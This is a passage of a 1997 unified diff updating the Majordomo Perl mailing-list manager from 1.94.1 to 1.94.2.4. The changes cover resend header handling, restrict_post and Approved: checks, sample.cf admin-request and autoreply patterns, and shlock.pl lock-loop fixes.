print STDERR "access_check: exit\n" if $DEBUG; return $total; diff -u ./majordomo_version.pl ../majordomo-1.94.2.4/majordomo_version.pl --- ./majordomo_version.pl Sun Apr 20 19:00:21 1997 +++ ../majordomo-1.94.2.4/majordomo_version.pl Sun Apr 20 18:56:22 1997 @@ -1,5 +1,5 @@ -# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.18 1996/11/22 17:30:58 cwilson Exp $ +# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.23 1997/04/20 16:48:22 cwilson Exp $ -$majordomo_version = "1.94.1"; +$majordomo_version = "1.94.2_spin4"; 1; Common subdirectories: ./man and ../majordomo-1.94.2.4/man diff -u ./resend ../majordomo-1.94.2.4/resend --- ./resend Sun Apr 20 19:00:22 1997 +++ ../majordomo-1.94.2.4/resend Sun Apr 20 18:56:23 1997 @@ -1,12 +1,12 @@ #!/bin/perl -# $Modified: Mon Dec 23 14:59:36 1996 by cwilson $ +# $Modified: Wed Apr 2 14:16:55 1997 by cwilson $ # Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by # permission only. # # $Source: /sources/cvsrepos/majordomo/resend,v $ -# $Revision: 1.80 $ -# $Date: 1996/12/23 15:04:45 $ +# $Revision: 1.85 $ +# $Date: 1997/04/02 14:04:48 $ # $Author: cwilson $ # $State: Exp $ # @@ -133,6 +133,11 @@ open (STDERR, ">>$TMPDIR/resend.debug"); } +# XXX some standard way of setting defaults needs to be done.. +# +$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128; +$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024; + print STDERR "$0 [$$]: starting.\n" if $DEBUG; if ( ! @ARGV) { @@ -191,16 +196,6 @@ &set_abort_addr($sender); &set_log($log, $opt_h, "resend", $opt_l); -# if approve_passwd (or -a) starts with a leading /, there is a file -# that holds the password. -# -if (defined($opt_a)) { - if ($opt_a =~ /^\//) { - open(PWD, $opt_a) || die("resend: open(PWD, \"$opt_a\"): $!"); - $opt_a = &chop_nl(); - } -} - if (defined($opt_A) && ! defined($opt_a)) { die("resend: must also specify '-a passwd' if using '-A' flag"); } @@ -460,7 +455,7 @@ local($footer) = &config'substitute_values( $config_opts{$opt_l,"message_footer"}, $opt_l); #' - $footer =~ s/\001/\n/g; + $footer =~ s/\001|$/\n/g; print OUT $footer; } @@ -523,7 +518,11 @@ # close(MAILIN); unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!"); -close(MAILOUT) || &abort("Mailer $sendmail_cmd exited unexpectedly with error $?"); +close(MAILOUT) || do { + $? >>= 8; + &abort("Mailer $sendmail_cmd exited unexpectedly with error $?") + unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER); +}; # Seeya. # @@ -552,45 +551,18 @@ # [[[ Scary, I just realized that !@$#% is almost valid perl... ]]] local(@files) = split (/[:\s]+/, $opt_I); - RESTRICT: foreach $file (@files) { # add $listdir if not explicitly set. # - $file = "$listdir/$file" if ($file !~ /^\//); - - open ($file, "$file") - || do { - &bitch("Majordomo couldn't open the restrict_post file\n" . - "\"$file\" \n for the list \"$opt_l\".\nThis should be fixed."); - next RESTRICT; - }; - - # Check the from address. To Quote: - # "Note that this is not guaranteed to contribute to the readability of your program. " - # - @output = grep ( - &addr_match($from, $_, - (&main'cf_ck_bool($opt_l,"mungedomain") #'; - ? 2 - : undef)), <$file>); - - if ( $#output != -1 ) { # found a match. - close ($file); # tidy up - return (); - } + $file = "$listdir/$file" unless ($file =~ m|^/|); - seek( $file, 0, 0 ); # rewind - - # No match, so check the reply-to address if set. + # Return a null message if the sender (from the From: or + # Reply-To: headers) is found # - if ( defined($reply_to) - && $reply_to ne $from) { # ie, don't bother if reply-to == from - @output = grep (&addr_match($reply_to, $_), <$file>); - } - - close ($file); - - return if ( $#output != -1 ); + return "" if &is_list_member($from, "", $file) || + (defined $reply_to && + $reply_to ne $from && + &is_list_member($reply_to, "", $file)); } # We only get here if nothing matches. @@ -646,7 +618,7 @@ print STDERR "$0: parse_header: [$.] administrative_header check\n" if $DEBUG; - if ($#admin_headers >= $[ && !$approved && + if ($#admin_headers >= $[ && !$approved && defined($opt_s) && eval $is_admin_header) { $gonna_bounce .= "Admin request: $taboo "; print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; @@ -674,8 +646,10 @@ $approved = &chop_nl($1); if ($approved ne $opt_a # check the p/w given against approve_passwd && !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ') - $gonna_bounce .= "Invalid 'Approved:' header "; - print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + if (defined($opt_A)) { # bounce only if list is moderated + $gonna_bounce .= "Invalid 'Approved:' header "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } undef $approved; } else { # reset the bounce counter, so that we return cleanly. @@ -777,7 +751,7 @@ if ( $config_opts{$opt_l,"message_headers"} ne '' ) { local($headers) = &config'substitute_values ( $config_opts{$opt_l,"message_headers"}, $opt_l);#'; - $headers =~ s/\001/\n/g; + $headers =~ s/\001|$/\n/g; print OUT $headers; } print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG; diff -u ./sample.cf ../majordomo-1.94.2.4/sample.cf --- ./sample.cf Sun Apr 20 19:00:26 1997 +++ ../majordomo-1.94.2.4/sample.cf Sun Apr 20 18:56:27 1997 @@ -84,13 +84,13 @@ # #$max_loadavg = 10; # Choose the maximum allowed load # -#$uptime = `/usr/bin/uptime` if -x ; # Get system uptime -#$uptime = `/usr/bsd/uptime` if -x ; # or uptime is over here. +#$uptime = `/usr/bin/uptime` if -x '/usr/bin/uptime'; # Get system uptime +#$uptime = `/usr/bsd/uptime` if -x '/usr/bsd/uptime'; # or uptime is over here. # #($avg_1_minute, $avg_5_minutes, $avg_15_minutes) = # $uptime =~ /average:\s+(\S+),\s+(\S+),\s+(\S+)/; # -#exit 75 if ($avg_15_minute >= $max_loadavg); # E_TEMPFAIL +#exit 75 if ($avg_15_minutes >= $max_loadavg); # E_TEMPFAIL # # Set the default subscribe policy for new lists here. @@ -227,6 +227,7 @@ /^subject:\s*help\b/i /^subject:\s.*\bchange\b.*\baddress\b/i /^subject:\s*request\b(.*\b)?addition\b/i +/^subject:\s*cancel\b/i END # Common things that people send to the wrong address. @@ -239,6 +240,7 @@ # each new majordomo command. # $admin_body = <<'END'; +/\bcancel\b/i /\badd me\b/i /\bdelete me\b/i /\bremove\s+me\b/i @@ -282,6 +284,7 @@ /^subject:\s*Returned mail\b/i /^subject:\s*unable to deliver mail\b/i /^subject:\s.*\baway from my mail\b/i +/^subject:\s*Autoreply/i END # Taboo body contents to catch and forward to the approval address @@ -298,7 +301,7 @@ # Majordomo will not send replies to addresses which match this. # The match is done case-insensitively. -$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo)\@'; +$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@'; 1; -# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.28 1996/12/23 15:05:15 cwilson Exp $ +# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.32 1997/04/07 18:57:43 cwilson Exp $ diff -u ./shlock.pl ../majordomo-1.94.2.4/shlock.pl --- ./shlock.pl Sun Apr 20 19:00:22 1997 +++ ../majordomo-1.94.2.4/shlock.pl Sun Apr 20 18:56:23 1997 @@ -7,16 +7,20 @@ package shlock; require 'majordomo.pl'; # For bitch() and abort() -sub alert { &main'bitch(@_); } - -$shlock_debug = 0; +# These can be predefined elsewhere, e.g. majordomo.cf +$waittime = 600 unless $waittime; +$shlock_debug = 0 unless $shlock_debug; +$warncount = 20 unless $warncount; + +sub alert { + &main'bitch(@_); + &main'abort("shlock: too many warnings") unless --$warncount; +} $EPERM = 1; $ESRCH = 3; $EEXIST = 17; -$waittime = 600 if !$waittime; # can be set before the require. - # Lock a process via lockfile. # sub main'shlock { @@ -27,16 +31,16 @@ print STDERR "trying lock '$file' for pid $$\n" if $shlock_debug; return(undef) unless ($tmp = &extant_file($file)); - while (1) { + { # redo-controlled loop unless (link($tmp, $file)) { if ($! == $EEXIST) { print STDERR "lock '$file' already exists\n" if $shlock_debug; if (&check_lock($file)) { print STDERR "extant lock is valid\n" if $shlock_debug; - last; } else { print STDERR "lock is invalid; removing\n" if $shlock_debug; unlink($file); # no message because it might be gone by now + redo; } } else { &alert("shlock: link('$tmp', '$file'): $!"); @@ -45,7 +49,6 @@ print STDERR "got lock '$file'\n" if $shlock_debug; $retcode = 1; } - last; } unlink($tmp) || &alert("shlock: unlink('$file'): $!"); @@ -182,10 +185,10 @@ if (! -e $tempdir) { &main'abort("shlock: '$tempdir' does not exist"); } - elsif (! -d $tempdir) { + elsif (! -d _) { &main'abort("shlock: '$tempdir' is not a directory\n"); } - elsif (! -w $tempdir) { + elsif (! -w _) { &main'abort("shlock: '$tempdir' is not writable by UID $> GID", (split(" ", $) ))[0], "\n"); } @@ -252,7 +255,7 @@ print STDERR "checking extant lock '$file'\n" if $shlock_debug; unless (open(FILE, "$file")) { - &alert("shlock: open('$file'): $!"); + &alert("shlock: open('$file'): $!") if $shlock_debug; return 1; } @@ -281,10 +284,11 @@ } print STDERR "temporary filename '$tempname'\n" if $shlock_debug; - while (1) { + { # redo-controlled loop if ( -e $tempname ) { print STDERR "file '$tempname' exists\n" if $shlock_debug; - unlink($tempname) || &alert("shlock: unlink('$tempname'): $!"); + unlink($tempname); # no message because it might be gone by now. + redo; } elsif (! &main'open_temp(FILE, $tempname)) { print STDERR "can't create temporary file '$tempname': $!" @@ -291,7 +295,6 @@ if $shlock_debug; return(undef); } - last; } unless (print FILE "$$\n") {